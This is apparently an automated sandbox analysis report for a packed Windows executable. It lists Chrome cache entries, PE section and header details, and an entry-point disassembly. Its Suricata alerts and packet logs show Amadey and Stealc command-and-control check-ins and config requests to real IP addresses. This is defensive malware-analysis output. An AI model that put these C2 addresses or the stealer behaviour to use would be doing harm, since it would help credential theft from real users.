File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.4353071360052
Encrypted:	false
SSDEEP:	3072:fBkPdsBJT7bKwkztS6STFSz1nrmISnXYK02i6o:fedUW5c5Sz1nKISnoK08o
MD5:	11BB6BF56465443C404366B7975FD56D
SHA1:	B25DCDB3C12F84C3D105B82239C6DF7C9B58C1CF
SHA-256:	60AC946C6793267D471D47B43B02DF5E15ADD1F9B5B57D2457EEBE5859DACD01
SHA-512:	BE23A656FBC3EB54B1FEFF7876F96E4833E0E3412110E6091F6498811F3123A0AD586CE1322C21D208FEC94844A45AF14C8E49EA74500219C17835CBC67E630F
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944556164874763
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'785'344 bytes
MD5:	b565a462e3c86b9ec9ecc1b2107c1d0f
SHA1:	8a57fc58c7750cb9e28fe9c825c3ea721e95097d
SHA256:	58600b3ce07962ea4bb35ad0d7e780fce9b262b2ca802c513ed66e6522de0d9c
SHA512:	d7bc322d38190efed0227481b9b50b2ee2615e5d415dd0707af84040ea3abb3c80bb0aeb40e5b42ad4d1db9999eb0d77a8fcaab117aac5cefeb2ee1a8106758e
SSDEEP:	49152:PVdVJcmh9mjohD7YdJNgCGD+XdyUd+rSl5goi:/h9m0lYdHgC9Xgq+rSzgo
TLSH:	098533983CB3B6B3C0AE7E39A47B41346994C1907CEE4FA099AF89C70C635D991C7617
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa86000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F23CC829FBAh
hint_nop dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], cl
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	622d8576d83282153501ad669a4ca4bb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	e9d71d1562a37853e6b0c4a9838353e2	False	0.794921875	data	5.9941384112345375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29f000	0x200	c974776f79e7bbfb9e89ef2c104ea233	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vfljhxmw	0x4eb000	0x19a000	0x19a000	de14e39fbe3d6166829420d2c741a78f	False	0.9945747189405488	data	7.953365426343893	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
grjdoqcu	0x685000	0x1000	0x400	2bd4a0be6435567266fa5323c743694a	False	0.7099609375	data	5.779581009497661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x686000	0x3000	0x2200	33bfc59ac86d0ea729b399ea2d020d68	False	0.0859375	DOS executable (COM)	0.9252982419500619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x684c3c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T03:42:03.173174+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50122	TCP
2024-11-17T03:42:10.771080+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-17T03:42:11.058295+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-17T03:42:11.064715+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-17T03:42:11.345660+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-17T03:42:11.352442+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-17T03:42:12.482663+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-17T03:42:13.091290+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-17T03:42:35.994619+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:39.361488+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:41.368075+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:42.558502+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:44.842652+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:45.503956+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:50.052044+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49957	185.215.113.16	80	TCP
2024-11-17T03:44:05.538395+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50121	185.215.113.43	80	TCP
2024-11-17T03:44:08.865330+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50123	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 03:42:03.173173904 CET	49674	443	192.168.2.5	23.1.237.91
Nov 17, 2024 03:42:03.173232079 CET	49675	443	192.168.2.5	23.1.237.91
Nov 17, 2024 03:42:03.313891888 CET	49673	443	192.168.2.5	23.1.237.91
Nov 17, 2024 03:42:09.545908928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:09.551156044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:09.551280022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:09.551440954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:09.556312084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:10.470637083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:10.470758915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:10.474400043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:10.480581999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:10.770961046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:10.771080017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:10.772435904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:10.777327061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.058214903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.058271885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.058295012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.058311939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.058342934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.058372974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.059804916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.064714909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345493078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345520020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345545053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345561028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345577002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345592976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345608950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.345659971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.345710039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.345710039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.347479105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.352442026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.633137941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.633220911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.683094025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.683140993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:11.688236952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.688256979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.688270092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.688285112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.688309908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.688322067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:11.688334942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:12.482326984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:12.482662916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:12.782478094 CET	49674	443	192.168.2.5	23.1.237.91
Nov 17, 2024 03:42:12.782480955 CET	49675	443	192.168.2.5	23.1.237.91
Nov 17, 2024 03:42:12.807714939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:12.812947989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:12.923099995 CET	49673	443	192.168.2.5	23.1.237.91
Nov 17, 2024 03:42:13.091211081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091239929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091255903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091279984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091289997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.091295958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091329098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.091377974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.091428041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091454029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091470003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091470957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.091485023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091496944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.091507912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.091521025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.091533899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.091559887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.092284918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.092338085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.092379093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.092427969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.250463009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250503063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250538111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250570059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250585079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.250606060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250617981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.250646114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.250675917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.250853062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250907898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250911951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.250946999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250962973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.250982046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.250993967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.251018047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.251024961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.251080036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.251774073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.251844883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.251846075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.251893997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.369020939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.369091988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.369127989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.369148970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.369163036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.369168043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.369190931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.369201899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.369234085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.369256020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:13.369260073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:13.369311094 CET	49704	80	192.168.2.5	185.215.113.206
